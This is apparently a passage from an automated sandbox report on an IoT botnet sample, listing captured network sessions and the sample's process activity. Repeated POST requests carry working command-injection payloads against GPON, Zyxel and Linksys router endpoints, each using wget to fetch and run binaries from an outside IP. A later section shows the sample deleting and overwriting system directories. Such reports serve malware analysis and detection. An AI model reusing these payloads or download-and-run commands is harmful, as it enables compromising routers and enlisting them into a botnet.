74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:27:14 GMTServer: ApacheX-Frame-Options: DENYContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1809	192.168.2.23	45346	42.253.12.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.480207920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1810	192.168.2.23	60198	42.212.195.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.480257034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1811	192.168.2.23	41470	2.47.0.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.480261087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1812	192.168.2.23	35182	2.184.215.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.480287075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1813	192.168.2.23	33078	79.238.166.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.480287075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1814	192.168.2.23	54716	210.5.204.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.480289936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1815	192.168.2.23	47090	42.206.50.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.480298042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1816	192.168.2.23	39096	5.175.246.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.480380058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1817	192.168.2.23	54926	118.154.182.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.480390072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1818	192.168.2.23	55312	118.221.178.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.480407000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1819	192.168.2.23	46190	118.54.17.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.480426073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1820	192.168.2.23	50520	178.32.154.117	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.511749029 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:14.698791981 CET	341	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:27:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Mar 21, 2024 05:27:14.698868036 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:27:14 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1821	192.168.2.23	41086	192.186.18.117	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.766751051 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1822	192.168.2.23	32950	83.246.89.76	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:15.733452082 CET	181	IN	HTTP/1.0 400 Bad request cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

System Behavior

Analysis Process: wbUtbKZmxZ.elf PID: 6221, Parent PID: 6127

General

Start time (UTC):	04:25:09
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	/tmp/wbUtbKZmxZ.elf
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Start time (UTC):	04:25:09
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Start time (UTC):	04:25:09
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	sh -c "rm -rf usr/sbin && mkdir usr; >usr/sbin && mv /tmp/wbUtbKZmxZ.elf usr/sbin; chmod 777 usr/sbin"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:25:09
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/usr/bin/rm
Arguments:	rm -rf usr/sbin
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir usr
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/usr/bin/mv
Arguments:	mv /tmp/wbUtbKZmxZ.elf usr/sbin
File size:	149888 bytes
MD5 hash:	504f0590fa482d4da070a702260e3716

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/usr/bin/chmod
Arguments:	chmod 777 usr/sbin
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6229, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6231, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6232, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6233, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6234, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6235, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6236, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6237, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6238, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6239, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6240, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6241, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6242, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6243, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6244, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6245, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6246, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
MD5 hash:	dc1dd021f875444c0c6c45d457f2c121

Analysis Process: wbUtbKZmxZ.elf PID: 6247, Parent PID: 6227

General

Start time (UTC):	04:25:10
Start date (UTC):	21/03/2024
Path:	/tmp/wbUtbKZmxZ.elf
Arguments:	-
File size:	124304 bytes
